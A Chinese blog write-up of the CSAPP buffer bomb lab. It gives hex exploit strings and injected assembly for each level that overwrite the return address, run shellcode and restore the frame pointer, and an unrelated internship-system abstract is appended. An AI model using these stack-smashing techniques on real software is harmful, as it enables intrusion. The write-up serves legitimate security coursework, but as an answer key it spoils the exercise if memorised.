CSAPP:缓冲区炸弹

答案

学号后六位:001036
第零关:B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
第一关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
第二关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
第三关:B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
第四关:B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
20240320_084142.png

Overview

  • input的位置main->test->getbuf->getxs
  • 栈中间必然存在一段内容表示getbuf的返回地址,我们要做的就是输入一段较长的字符串,实现对返回地址的覆盖,这样就可以返回到我们想要的地方

第一关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
  • 第一关自动会call _exit,程序会自动退出,所以无需考虑维护栈结构(除第四关外都是如此)
  • 找到输出第一关成功通过的地址004011F0,将返回地址修改到此处
  • 注意小端寻址

第二关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
  • 与第一关类似,也是需要把返回地址修改为输出第二关成功通过的地址00401210
  • 第二关比第一关多考虑了一个参数,即cookie(我学号对应的cookie是1B91DFD6)
    • 要求[esp+8]=cookie,注意到esp+8对应输入的第25-28字节,于是把这些位传入我的cookie即可
    • image.png|250

第三关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
  • 首先将返回地址修改为0019FD98,即读入机器码的起始地址,这样就可以让程序执行我们输入的指令
  • 本关要求修改global_value的值为cookie
    • image.png|300
    • 所以需要跳转到修改全局变量的地址00409004,并把cookie mov进去
      • image.png|500
  • 之后需要往栈中push进输出第三关通过的地址00401260,最后用ret指令返回
  • 即答案的前16个字节为如下汇编代码的机器码,最后四个字节为机器码的起始地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x00401260
ret

第四关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
  • 这一关是在第三关的基础上完成的
  • 与其他关卡不同的一点是函数结尾不是exit,如果继续延用第三关密码,pc将ret到输入字符的21-24字节
  • 所以我们需要把ret的地址修改为函数exit的地址00401580
    • image.png
  • 即答案的前16个字节为如下汇编代码的机器码,然后四个字节为机器码的起始地址,最后四个字节为exit的地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x004012B0
ret

第零关

  • B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
  • 交的时候才发现还有第零关
  • 注意到这里比较了[ebp+var_4]的值,要想鸟不被杀死,就必须确保getbuf结束后ebp不能被改变,仍为0019FDC8
    • image.png|450
  • 即答案的前12个字节为如下汇编代码的机器码,然后四个字节为ebp原来的值,最后四个字节为机器码的起始地址0019FD98
mov eax, 0x1B91DFD6    
push 0x00401181
ret
**高校专业实习管理平台设计与实现** 本设计项目旨在构建一个服务于高等院校专业实习环节的综合性管理平台。该系统采用当前主流的Web开发架构,基于Python编程语言,结合Django后端框架与Vue.js前端框架进行开发,实现了前后端逻辑的分离。数据存储层选用广泛应用的MySQL关系型数据库,确保了系统的稳定性和数据处理的效率。 平台设计了多角色协同工作的管理模型,具体包括系统管理员、院系负责人、指导教师、实习单位对接人以及参与实习的学生。各角色依据权限访问不同的功能模块,共同构成完整的实习管理流程。核心功能模块涵盖:基础信息管理(如院系、专业、人员信息)、实习过程管理(包括实习公告发布、实习内容规划、实习申请与安排)、双向反馈机制(单位评价与学生反馈)、实习支持与保障、以及贯穿始终的成绩评定与综合成绩管理。 在技术实现层面,后端服务依托Django框架的高效与安全性构建业务逻辑;前端界面则利用Vue.js的组件化特性与LayUI的样式库,致力于提供清晰、友好的用户交互体验。数据库设计充分考虑了实习管理业务的实体关系与数据一致性要求,并保留了未来功能扩展的灵活性。 整个系统遵循规范的软件开发流程,从需求分析、系统设计、编码实现到测试验证,均进行了多轮迭代与优化,力求在功能完备性、系统性能及用户使用体验方面达到较高标准。 **核心术语**:实习管理平台;Django框架;MySQL数据库;Vue.js前端;Python语言。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值